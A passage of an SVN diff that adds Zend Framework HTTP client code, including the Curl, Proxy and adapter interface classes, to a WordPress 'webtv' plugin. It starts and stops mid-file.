+            $headers[] = "Authorization: {$auth}";
+        }
+
+        // Load cookies from cookie jar
+        if (isset($this->cookiejar)) {
+            $cookstr = $this->cookiejar->getMatchingCookies($this->uri,
+                true, Zend_Http_CookieJar::COOKIE_STRING_CONCAT);
+
+            if ($cookstr) {
+                $headers[] = "Cookie: {$cookstr}";
+            }
+        }
+
+        // Add all other user defined headers
+        foreach ($this->headers as $header) {
+            list($name, $value) = $header;
+            if (is_array($value)) {
+                $value = implode(', ', $value);
+            }
+
+            $headers[] = "$name: $value";
+        }
+
+        return $headers;
+    }
+
+    /**
+     * Prepare the request body (for POST and PUT requests)
+     *
+     * @return string
+     * @throws Zend_Http_Client_Exception
+     */
+    protected function _prepareBody()
+    {
+        // According to RFC2616, a TRACE request should not have a body.
+        if ($this->method == self::TRACE) {
+            return '';
+        }
+
+        // If we have raw_post_data set, just use it as the body.
+        if (isset($this->raw_post_data)) {
+            $this->setHeaders(self::CONTENT_LENGTH, strlen($this->raw_post_data));
+            return $this->raw_post_data;
+        }
+
+        $body = '';
+
+        // If we have files to upload, force enctype to multipart/form-data
+        if (count ($this->files) > 0) {
+            $this->setEncType(self::ENC_FORMDATA);
+        }
+
+        // If we have POST parameters or files, encode and add them to the body
+        if (count($this->paramsPost) > 0 || count($this->files) > 0) {
+            switch($this->enctype) {
+                case self::ENC_FORMDATA:
+                    // Encode body as multipart/form-data
+                    $boundary = '---ZENDHTTPCLIENT-' . md5(microtime());
+                    $this->setHeaders(self::CONTENT_TYPE, self::ENC_FORMDATA . "; boundary={$boundary}");
+
+                    // Get POST parameters and encode them
+                    $params = $this->_getParametersRecursive($this->paramsPost);
+                    foreach ($params as $pp) {
+                        $body .= self::encodeFormData($boundary, $pp[0], $pp[1]);
+                    }
+
+                    // Encode files
+                    foreach ($this->files as $name => $file) {
+                        $fhead = array(self::CONTENT_TYPE => $file[1]);
+                        $body .= self::encodeFormData($boundary, $name, $file[2], $file[0], $fhead);
+                    }
+
+                    $body .= "--{$boundary}--\r\n";
+                    break;
+
+                case self::ENC_URLENCODED:
+                    // Encode body as application/x-www-form-urlencoded
+                    $this->setHeaders(self::CONTENT_TYPE, self::ENC_URLENCODED);
+                    $body = http_build_query($this->paramsPost, '', '&');
+                    break;
+
+                default:
+                    /** @see Zend_Http_Client_Exception */
+                    require_once 'Zend/Http/Client/Exception.php';
+                    throw new Zend_Http_Client_Exception("Cannot handle content type '{$this->enctype}' automatically." .
+                        " Please use Zend_Http_Client::setRawData to send this kind of content.");
+                    break;
+            }
+        }
+        
+        // Set the Content-Length if we have a body or if request is POST/PUT
+        if ($body || $this->method == self::POST || $this->method == self::PUT) {
+            $this->setHeaders(self::CONTENT_LENGTH, strlen($body));
+        }
+
+        return $body;
+    }
+
+    /**
+     * Helper method that gets a possibly multi-level parameters array (get or
+     * post) and flattens it.
+     *
+     * The method returns an array of (key, value) pairs (because keys are not
+     * necessarily unique. If one of the parameters in as array, it will also
+     * add a [] suffix to the key.
+     *
+     * @param array $parray The parameters array
+     * @param bool $urlencode Whether to urlencode the name and value
+     * @return array
+     */
+    protected function _getParametersRecursive($parray, $urlencode = false)
+    {
+        if (! is_array($parray)) {
+            return $parray;
+        }
+        $parameters = array();
+
+        foreach ($parray as $name => $value) {
+            if ($urlencode) {
+                $name = urlencode($name);
+            }
+
+            // If $value is an array, iterate over it
+            if (is_array($value)) {
+                $name .= ($urlencode ? '%5B%5D' : '[]');
+                foreach ($value as $subval) {
+                    if ($urlencode) {
+                        $subval = urlencode($subval);
+                    }
+                    $parameters[] = array($name, $subval);
+                }
+            } else {
+                if ($urlencode) {
+                    $value = urlencode($value);
+                }
+                $parameters[] = array($name, $value);
+            }
+        }
+
+        return $parameters;
+    }
+    
+    /**
+     * Attempt to detect the MIME type of a file using available extensions
+     * 
+     * This method will try to detect the MIME type of a file. If the fileinfo
+     * extension is available, it will be used. If not, the mime_magic 
+     * extension which is deprected but is still available in many PHP setups
+     * will be tried. 
+     * 
+     * If neither extension is available, the default application/octet-stream
+     * MIME type will be returned
+     *
+     * @param  string $file File path
+     * @return string       MIME type
+     */
+    protected function _detectFileMimeType($file)
+    {
+        $type = null;
+        
+        // First try with fileinfo functions
+        if (function_exists('finfo_open')) {
+            if (self::$_fileInfoDb === null) {
+                self::$_fileInfoDb = @finfo_open(FILEINFO_MIME);
+            }
+            
+            if (self::$_fileInfoDb) { 
+                $type = finfo_file(self::$_fileInfoDb, $file);
+            }
+            
+        } elseif (function_exists('mime_content_type')) {
+            $type = mime_content_type($file);
+        }
+        
+        // Fallback to the default application/octet-stream
+        if (! $type) {
+            $type = 'application/octet-stream';
+        }
+        
+        return $type;
+    }
+
+    /**
+     * Encode data to a multipart/form-data part suitable for a POST request.
+     *
+     * @param string $boundary
+     * @param string $name
+     * @param mixed $value
+     * @param string $filename
+     * @param array $headers Associative array of optional headers @example ("Content-Transfer-Encoding" => "binary")
+     * @return string
+     */
+    public static function encodeFormData($boundary, $name, $value, $filename = null, $headers = array()) {
+        $ret = "--{$boundary}\r\n" .
+            'Content-Disposition: form-data; name="' . $name .'"';
+
+        if ($filename) {
+            $ret .= '; filename="' . $filename . '"';
+        }
+        $ret .= "\r\n";
+
+        foreach ($headers as $hname => $hvalue) {
+            $ret .= "{$hname}: {$hvalue}\r\n";
+        }
+        $ret .= "\r\n";
+
+        $ret .= "{$value}\r\n";
+
+        return $ret;
+    }
+
+    /**
+     * Create a HTTP authentication "Authorization:" header according to the
+     * specified user, password and authentication method.
+     *
+     * @see http://www.faqs.org/rfcs/rfc2617.html
+     * @param string $user
+     * @param string $password
+     * @param string $type
+     * @return string
+     * @throws Zend_Http_Client_Exception
+     */
+    public static function encodeAuthHeader($user, $password, $type = self::AUTH_BASIC)
+    {
+        $authHeader = null;
+
+        switch ($type) {
+            case self::AUTH_BASIC:
+                // In basic authentication, the user name cannot contain ":"
+                if (strpos($user, ':') !== false) {
+                    /** @see Zend_Http_Client_Exception */
+                    require_once 'Zend/Http/Client/Exception.php';
+                    throw new Zend_Http_Client_Exception("The user name cannot contain ':' in 'Basic' HTTP authentication");
+                }
+
+                $authHeader = 'Basic ' . base64_encode($user . ':' . $password);
+                break;
+
+            //case self::AUTH_DIGEST:
+                /**
+                 * @todo Implement digest authentication
+                 */
+            //    break;
+
+            default:
+                /** @see Zend_Http_Client_Exception */
+                require_once 'Zend/Http/Client/Exception.php';
+                throw new Zend_Http_Client_Exception("Not a supported HTTP authentication type: '$type'");
+        }
+
+        return $authHeader;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Curl.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Curl.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Curl.php	(revision 44)
@@ -0,0 +1,388 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @version    $Id: Curl.php 14379 2009-03-19 14:57:23Z matthew $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/** Zend_Uri_Http */
+require_once 'Zend/Uri/Http.php';
+
+/** Zend_Http_Client_Adapter_Interface */
+require_once 'Zend/Http/Client/Adapter/Interface.php';
+
+/**
+ * An adapter class for Zend_Http_Client based on the curl extension.
+ * Curl requires libcurl. See for full requirements the PHP manual: http://php.net/curl
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Http_Client_Adapter_Curl implements Zend_Http_Client_Adapter_Interface
+{
+    /**
+     * Parameters array
+     *
+     * @var array
+     */
+    protected $_config = array();
+
+    /**
+     * What host/port are we connected to?
+     *
+     * @var array
+     */
+    protected $_connected_to = array(null, null);
+
+    /**
+     * The curl session handle
+     *
+     * @var resource|null
+     */
+    protected $_curl = null;
+
+    /**
+     * List of cURL options that should never be overwritten
+     * 
+     * @var array
+     */
+    protected $_invalidOverwritableCurlOptions = array(
+        CURLOPT_HTTPGET,
+        CURLOPT_POST,
+        CURLOPT_PUT,
+        CURLOPT_CUSTOMREQUEST,
+        CURLOPT_HEADER,
+        CURLOPT_RETURNTRANSFER,
+        CURLOPT_HTTPHEADER,
+        CURLOPT_POSTFIELDS,
+        CURLOPT_INFILE,
+        CURLOPT_INFILESIZE,
+        CURLOPT_PORT,
+        CURLOPT_MAXREDIRS,
+        CURLOPT_TIMEOUT,
+        CURL_HTTP_VERSION_1_1,
+        CURL_HTTP_VERSION_1_0,
+    );
+
+    /**
+     * Response gotten from server
+     *
+     * @var string
+     */
+    protected $_response = null;
+
+    /**
+     * Adapter constructor
+     *
+     * Config is set using setConfig()
+     *
+     * @return void
+     * @throws Zend_Http_Client_Adapter_Exception
+     */
+    public function __construct()
+    {
+        if (!extension_loaded('curl')) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception('cURL extension has to be loaded to use this Zend_Http_Client adapter.');
+        }
+    }
+
+    /**
+     * Set the configuration array for the adapter
+     *
+     * @throws Zend_Http_Client_Adapter_Exception
+     * @param array $config
+     * @return Zend_Http_Client_Adapter_Curl
+     */
+    public function setConfig($config = array())
+    {
+        if (!is_array($config)) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception('Http Adapter configuration expects an array, ' . gettype($config) . ' recieved.');
+        }
+
+        foreach ($config as $k => $v) {
+            $this->_config[strtolower($k)] = $v;
+        }
+
+        return $this;
+    }
+
+    /**
+     * Direct setter for cURL adapter related options.
+     * 
+     * @param  string|int $option
+     * @param  mixed $value
+     * @return Zend_Http_Adapter_Curl
+     */
+    public function setCurlOption($option, $value)
+    {
+        if (!isset($this->_config['curloptions'])) {
+            $this->_config['curloptions'] = array();
+        }
+        $this->_config['curloptions'][$option] = $value;
+        return $this;
+    }
+
+    /**
+     * Initialize curl
+     *
+     * @param  string  $host
+     * @param  int     $port
+     * @param  boolean $secure
+     * @return void
+     * @throws Zend_Http_Client_Adapter_Exception if unable to connect
+     */
+    public function connect($host, $port = 80, $secure = false)
+    {
+        // If we're already connected, disconnect first
+        if ($this->_curl) {
+            $this->close();
+        }
+
+        // If we are connected to a different server or port, disconnect first
+        if ($this->_curl 
+            && is_array($this->_connected_to) 
+            && ($this->_connected_to[0] != $host 
+            || $this->_connected_to[1] != $port)
+        ) {
+            $this->close();
+        }
+
+        // Do the actual connection
+        $this->_curl = curl_init();
+        if ($port != 80) {
+            curl_setopt($this->_curl, CURLOPT_PORT, intval($port));
+        }
+
+        // Set timeout
+        curl_setopt($this->_curl, CURLOPT_TIMEOUT, $this->_config['timeout']);
+
+        // Set Max redirects
+        curl_setopt($this->_curl, CURLOPT_MAXREDIRS, $this->_config['maxredirects']);
+
+        if (!$this->_curl) {
+            $this->close();
+
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception('Unable to Connect to ' .  $host . ':' . $port);
+        }
+
+        if ($secure !== false) {
+            // Behave the same like Zend_Http_Adapter_Socket on SSL options.
+            if (isset($this->_config['sslcert'])) {
+                curl_setopt($this->_curl, CURLOPT_SSLCERT, $this->_config['sslcert']);
+            }
+            if (isset($this->_config['sslpassphrase'])) {
+                curl_setopt($this->_curl, CURLOPT_SSLCERTPASSWD, $this->_config['sslpassphrase']);
+            }
+        }
+
+        // Update connected_to
+        $this->_connected_to = array($host, $port);
+    }
+
+    /**
+     * Send request to the remote server
+     *
+     * @param  string        $method
+     * @param  Zend_Uri_Http $uri
+     * @param  float         $http_ver
+     * @param  array         $headers
+     * @param  string        $body
+     * @return string        $request
+     * @throws Zend_Http_Client_Adapter_Exception If connection fails, connected to wrong host, no PUT file defined, unsupported method, or unsupported cURL option
+     */
+    public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '')
+    {
+        // Make sure we're properly connected
+        if (!$this->_curl) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception("Trying to write but we are not connected");
+        }
+
+        if ($this->_connected_to[0] != $uri->getHost() || $this->_connected_to[1] != $uri->getPort()) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception("Trying to write but we are connected to the wrong host");
+        }
+
+        // set URL
+        curl_setopt($this->_curl, CURLOPT_URL, $uri->__toString());
+
+        // ensure correct curl call
+        $curlValue = true;
+        switch ($method) {
+            case Zend_Http_Client::GET:
+                $curlMethod = CURLOPT_HTTPGET;
+                break;
+
+            case Zend_Http_Client::POST:
+                $curlMethod = CURLOPT_POST;
+                break;
+
+            case Zend_Http_Client::PUT:
+                // There are two different types of PUT request, either a Raw Data string has been set
+                // or CURLOPT_INFILE and CURLOPT_INFILESIZE are used.
+                if (isset($this->_config['curloptions'][CURLOPT_INFILE])) {
+                    if (!isset($this->_config['curloptions'][CURLOPT_INFILESIZE])) {
+                        require_once 'Zend/Http/Client/Adapter/Exception.php';
+                        throw new Zend_Http_Client_Adapter_Exception("Cannot set a file-handle for cURL option CURLOPT_INFILE without also setting its size in CURLOPT_INFILESIZE.");
+                    }
+
+                    // Now we will probably already have Content-Length set, so that we have to delete it
+                    // from $headers at this point:
+                    foreach ($headers AS $k => $header) {
+                        if (stristr($header, "Content-Length:") !== false) {
+                            unset($headers[$k]);
+                        }
+                    }
+
+                    $curlMethod = CURLOPT_PUT;
+                } else {
+                    $curlMethod = CURLOPT_CUSTOMREQUEST;
+                    $curlValue = "PUT";
+                }
+                break;
+
+            case Zend_Http_Client::DELETE:
+                $curlMethod = CURLOPT_CUSTOMREQUEST;
+                $curlValue = "DELETE";
+                break;
+
+            case Zend_Http_Client::OPTIONS:
+                $curlMethod = CURLOPT_CUSTOMREQUEST;
+                $curlValue = "OPTIONS";
+                break;
+
+            case Zend_Http_Client::TRACE:
+                $curlMethod = CURLOPT_CUSTOMREQUEST;
+                $curlValue = "TRACE";
+                break;
+
+            default:
+                // For now, through an exception for unsupported request methods
+                require_once 'Zend/Http/Client/Adapter/Exception.php';
+                throw new Zend_Http_Client_Adapter_Exception("Method currently not supported");
+        }
+
+        // get http version to use
+        $curlHttp = ($http_ver = 1.1) ? CURL_HTTP_VERSION_1_1 : CURL_HTTP_VERSION_1_0;
+
+        // mark as HTTP request and set HTTP method
+        curl_setopt($this->_curl, $curlHttp, true);
+        curl_setopt($this->_curl, $curlMethod, $curlValue);
+
+        // ensure headers are also returned
+        curl_setopt($this->_curl, CURLOPT_HEADER, true);
+
+        // ensure actual response is returned
+        curl_setopt($this->_curl, CURLOPT_RETURNTRANSFER, true);
+
+        // set additional headers
+        $headers['Accept'] = '';
+        curl_setopt($this->_curl, CURLOPT_HTTPHEADER, $headers);
+
+        /**
+         * Make sure POSTFIELDS is set after $curlMethod is set:
+         * @link http://de2.php.net/manual/en/function.curl-setopt.php#81161
+         */
+        if ($method == Zend_Http_Client::POST) {
+            curl_setopt($this->_curl, CURLOPT_POSTFIELDS, $body);
+        } elseif ($curlMethod == CURLOPT_PUT) {
+            // this covers a PUT by file-handle:
+            // Make the setting of this options explicit (rather than setting it through the loop following a bit lower)
+            // to group common functionality together.
+            curl_setopt($this->_curl, CURLOPT_INFILE, $this->_config['curloptions'][CURLOPT_INFILE]);
+            curl_setopt($this->_curl, CURLOPT_INFILESIZE, $this->_config['curloptions'][CURLOPT_INFILESIZE]);
+            unset($this->_config['curloptions'][CURLOPT_INFILE]);
+            unset($this->_config['curloptions'][CURLOPT_INFILESIZE]);
+        } elseif ($method == Zend_Http_Client::PUT) {
+            // This is a PUT by a setRawData string, not by file-handle
+            curl_setopt($this->_curl, CURLOPT_POSTFIELDS, $body);
+        }
+
+        // set additional curl options
+        if (isset($this->_config['curloptions'])) {
+            foreach ((array)$this->_config['curloptions'] as $k => $v) {
+                if (!in_array($k, $this->_invalidOverwritableCurlOptions)) {
+                    if (curl_setopt($this->_curl, $k, $v) == false) {
+                        require_once 'Zend/Http/Client/Exception.php';
+                        throw new Zend_Http_Client_Exception(sprintf("Unknown or erroreous cURL option '%s' set", $k));
+                    }
+                }
+            }
+        }
+
+        // send the request
+        $this->_response = curl_exec($this->_curl);
+
+        $request  = curl_getinfo($this->_curl, CURLINFO_HEADER_OUT);
+        $request .= $body;
+
+        if (empty($this->_response)) {
+            require_once 'Zend/Http/Client/Exception.php';
+            throw new Zend_Http_Client_Exception("Error in cURL request: " . curl_error($this->_curl));
+        }
+
+        // cURL automatically decodes chunked-messages, this means we have to disallow the Zend_Http_Response to do it again
+        if (stripos($this->_response, "Transfer-Encoding: chunked\r\n")) {
+            $this->_response = str_ireplace("Transfer-Encoding: chunked\r\n", '', $this->_response);
+        }
+
+        // TODO: Probably the pattern for multiple handshake requests is always the same, several HTTP codes in the response. Use that information?
+        // cURL automactically handles Expect: 100-continue; and its responses. Delete the HTTP 100 CONTINUE from a response
+        // because it messes up Zend_Http_Response parsing
+        if (stripos($this->_response, "HTTP/1.1 100 Continue\r\n\r\n") !== false) {
+            $this->_response = str_ireplace("HTTP/1.1 100 Continue\r\n\r\n", '', $this->_response);
+        }
+
+        // cURL automatically handles Proxy rewrites, remove the "HTTP/1.0 200 Connection established" string:
+        if (stripos($this->_response, "HTTP/1.0 200 Connection established\r\n\r\n") !== false) {
+            $this->_response = str_ireplace("HTTP/1.0 200 Connection established\r\n\r\n", '', $this->_response);
+        }
+
+        return $request;
+    }
+
+    /**
+     * Return read response from server
+     *
+     * @return string
+     */
+    public function read()
+    {
+        return $this->_response;
+    }
+
+    /**
+     * Close the connection to the server
+     *
+     */
+    public function close()
+    {
+        if(is_resource($this->_curl)) {
+            curl_close($this->_curl);
+        }
+        $this->_curl         = null;
+        $this->_connected_to = array(null, null);
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Exception.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Exception.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Exception.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter_Exception
+ * @version    $Id: Exception.php 8064 2008-02-16 10:58:39Z thomas $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+require_once 'Zend/Http/Client/Exception.php';
+
+/**
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Http_Client_Adapter_Exception extends Zend_Http_Client_Exception
+{}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Interface.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Interface.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Interface.php	(revision 44)
@@ -0,0 +1,78 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @version    $Id: Interface.php 8064 2008-02-16 10:58:39Z thomas $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * An interface description for Zend_Http_Client_Adapter classes.
+ *
+ * These classes are used as connectors for Zend_Http_Client, performing the
+ * tasks of connecting, writing, reading and closing connection to the server.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+interface Zend_Http_Client_Adapter_Interface
+{
+    /**
+     * Set the configuration array for the adapter
+     *
+     * @param array $config
+     */
+    public function setConfig($config = array());
+
+    /**
+     * Connect to the remote server
+     *
+     * @param string  $host
+     * @param int     $port
+     * @param boolean $secure
+     */
+    public function connect($host, $port = 80, $secure = false);
+
+    /**
+     * Send request to the remote server
+     *
+     * @param string        $method
+     * @param Zend_Uri_Http $url
+     * @param string        $http_ver
+     * @param array         $headers
+     * @param string        $body
+     * @return string Request as text
+     */
+    public function write($method, $url, $http_ver = '1.1', $headers = array(), $body = '');
+
+    /**
+     * Read response from server
+     *
+     * @return string
+     */
+    public function read();
+
+    /**
+     * Close the connection to the server
+     *
+     */
+    public function close();
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Proxy.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Proxy.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Http/Client/Adapter/Proxy.php	(revision 44)
@@ -0,0 +1,269 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @version    $Id: Proxy.php 12504 2008-11-10 16:28:46Z matthew $
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+require_once 'Zend/Uri/Http.php';
+require_once 'Zend/Http/Client.php';
+require_once 'Zend/Http/Client/Adapter/Socket.php';
+
+/**
+ * HTTP Proxy-supporting Zend_Http_Client adapter class, based on the default
+ * socket based adapter.
+ *
+ * Should be used if proxy HTTP access is required. If no proxy is set, will
+ * fall back to Zend_Http_Client_Adapter_Socket behavior. Just like the
+ * default Socket adapter, this adapter does not require any special extensions
+ * installed.
+ *
+ * @category   Zend
+ * @package    Zend_Http
+ * @subpackage Client_Adapter
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Http_Client_Adapter_Proxy extends Zend_Http_Client_Adapter_Socket
+{
+    /**
+     * Parameters array
+     *
+     * @var array
+     */
+    protected $config = array(
+        'ssltransport'  => 'ssl',
+        'proxy_host'    => '',
+        'proxy_port'    => 8080,
+        'proxy_user'    => '',
+        'proxy_pass'    => '',
+        'proxy_auth'    => Zend_Http_Client::AUTH_BASIC,
+        'persistent'    => false
+    );
+
+    /**
+     * Whether HTTPS CONNECT was already negotiated with the proxy or not
+     *
+     * @var boolean
+     */
+    protected $negotiated = false;
+    
+    /**
+     * Connect to the remote server
+     *
+     * Will try to connect to the proxy server. If no proxy was set, will
+     * fall back to the target server (behave like regular Socket adapter)
+     *
+     * @param string  $host
+     * @param int     $port
+     * @param boolean $secure
+     * @param int     $timeout
+     */
+    public function connect($host, $port = 80, $secure = false)
+    {
+        // If no proxy is set, fall back to Socket adapter
+        if (! $this->config['proxy_host']) return parent::connect($host, $port, $secure);
+
+        // Go through a proxy - the connection is actually to the proxy server
+        $host = $this->config['proxy_host'];
+        $port = $this->config['proxy_port'];
+
+        // If we are connected to the wrong proxy, disconnect first
+        if (($this->connected_to[0] != $host || $this->connected_to[1] != $port)) {
+            if (is_resource($this->socket)) $this->close();
+        }
+
+        // Now, if we are not connected, connect
+        if (! is_resource($this->socket) || ! $this->config['keepalive']) {
+            $this->socket = @fsockopen($host, $port, $errno, $errstr, (int) $this->config['timeout']);
+            if (! $this->socket) {
+                $this->close();
+                require_once 'Zend/Http/Client/Adapter/Exception.php';
+                throw new Zend_Http_Client_Adapter_Exception(
+                    'Unable to Connect to proxy server ' . $host . ':' . $port . '. Error #' . $errno . ': ' . $errstr);
+            }
+
+            // Set the stream timeout
+            if (!stream_set_timeout($this->socket, (int) $this->config['timeout'])) {
+                require_once 'Zend/Http/Client/Adapter/Exception.php';
+                throw new Zend_Http_Client_Adapter_Exception('Unable to set the connection timeout');
+            }
+
+            // Update connected_to
+            $this->connected_to = array($host, $port);
+        }
+    }
+
+    /**
+     * Send request to the proxy server
+     *
+     * @param string        $method
+     * @param Zend_Uri_Http $uri
+     * @param string        $http_ver
+     * @param array         $headers
+     * @param string        $body
+     * @return string Request as string
+     */
+    public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '')
+    {
+        // If no proxy is set, fall back to default Socket adapter
+        if (! $this->config['proxy_host']) return parent::write($method, $uri, $http_ver, $headers, $body);
+
+        // Make sure we're properly connected
+        if (! $this->socket) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception("Trying to write but we are not connected");
+        }
+
+        $host = $this->config['proxy_host'];
+        $port = $this->config['proxy_port'];
+
+        if ($this->connected_to[0] != $host || $this->connected_to[1] != $port) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception("Trying to write but we are connected to the wrong proxy server");
+        }
+
+        // Add Proxy-Authorization header
+        if ($this->config['proxy_user'] && ! isset($headers['proxy-authorization'])) {
+            $headers['proxy-authorization'] = Zend_Http_Client::encodeAuthHeader(
+                $this->config['proxy_user'], $this->config['proxy_pass'], $this->config['proxy_auth']
+            );
+        }
+                
+        // if we are proxying HTTPS, preform CONNECT handshake with the proxy
+        if ($uri->getScheme() == 'https' && (! $this->negotiated)) {
+            $this->connectHandshake($uri->getHost(), $uri->getPort(), $http_ver, $headers);
+            $this->negotiated = true;
+        }
+        
+        // Save request method for later
+        $this->method = $method;
+
+        // Build request headers
+        $request = "{$method} {$uri->__toString()} HTTP/{$http_ver}\r\n";
+
+        // Add all headers to the request string
+        foreach ($headers as $k => $v) {
+            if (is_string($k)) $v = "$k: $v";
+            $request .= "$v\r\n";
+        }
+
+        // Add the request body
+        $request .= "\r\n" . $body;
+
+        // Send the request
+        if (! @fwrite($this->socket, $request)) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception("Error writing request to proxy server");
+        }
+
+        return $request;
+    }
+
+    /**
+     * Preform handshaking with HTTPS proxy using CONNECT method
+     *
+     * @param string  $host
+     * @param integer $port
+     * @param string  $http_ver
+     * @param array   $headers
+     */
+    protected function connectHandshake($host, $port = 443, $http_ver = '1.1', array &$headers = array())
+    {
+        $request = "CONNECT $host:$port HTTP/$http_ver\r\n" . 
+                   "Host: " . $this->config['proxy_host'] . "\r\n";
+
+        // Add the user-agent header
+        if (isset($this->config['useragent'])) {
+            $request .= "User-agent: " . $this->config['useragent'] . "\r\n";
+        }
+        
+        // If the proxy-authorization header is set, send it to proxy but remove
+        // it from headers sent to target host
+        if (isset($headers['proxy-authorization'])) {
+            $request .= "Proxy-authorization: " . $headers['proxy-authorization'] . "\r\n";
+            unset($headers['proxy-authorization']);
+        }
+    
+        $request .= "\r\n";
+
+        // Send the request
+        if (! @fwrite($this->socket, $request)) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception("Error writing request to proxy server");
+        }
+
+        // Read response headers only
+        $response = '';
+        $gotStatus = false;
+        while ($line = @fgets($this->socket)) {
+            $gotStatus = $gotStatus || (strpos($line, 'HTTP') !== false);
+            if ($gotStatus) {
+                $response .= $line;
+                if (!chop($line)) break;
+            }
+        }
+        
+        // Check that the response from the proxy is 200
+        if (Zend_Http_Response::extractCode($response) != 200) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception("Unable to connect to HTTPS proxy. Server response: " . $response);
+        }
+        
+        // If all is good, switch socket to secure mode. We have to fall back
+        // through the different modes 
+        $modes = array(
+            STREAM_CRYPTO_METHOD_TLS_CLIENT, 
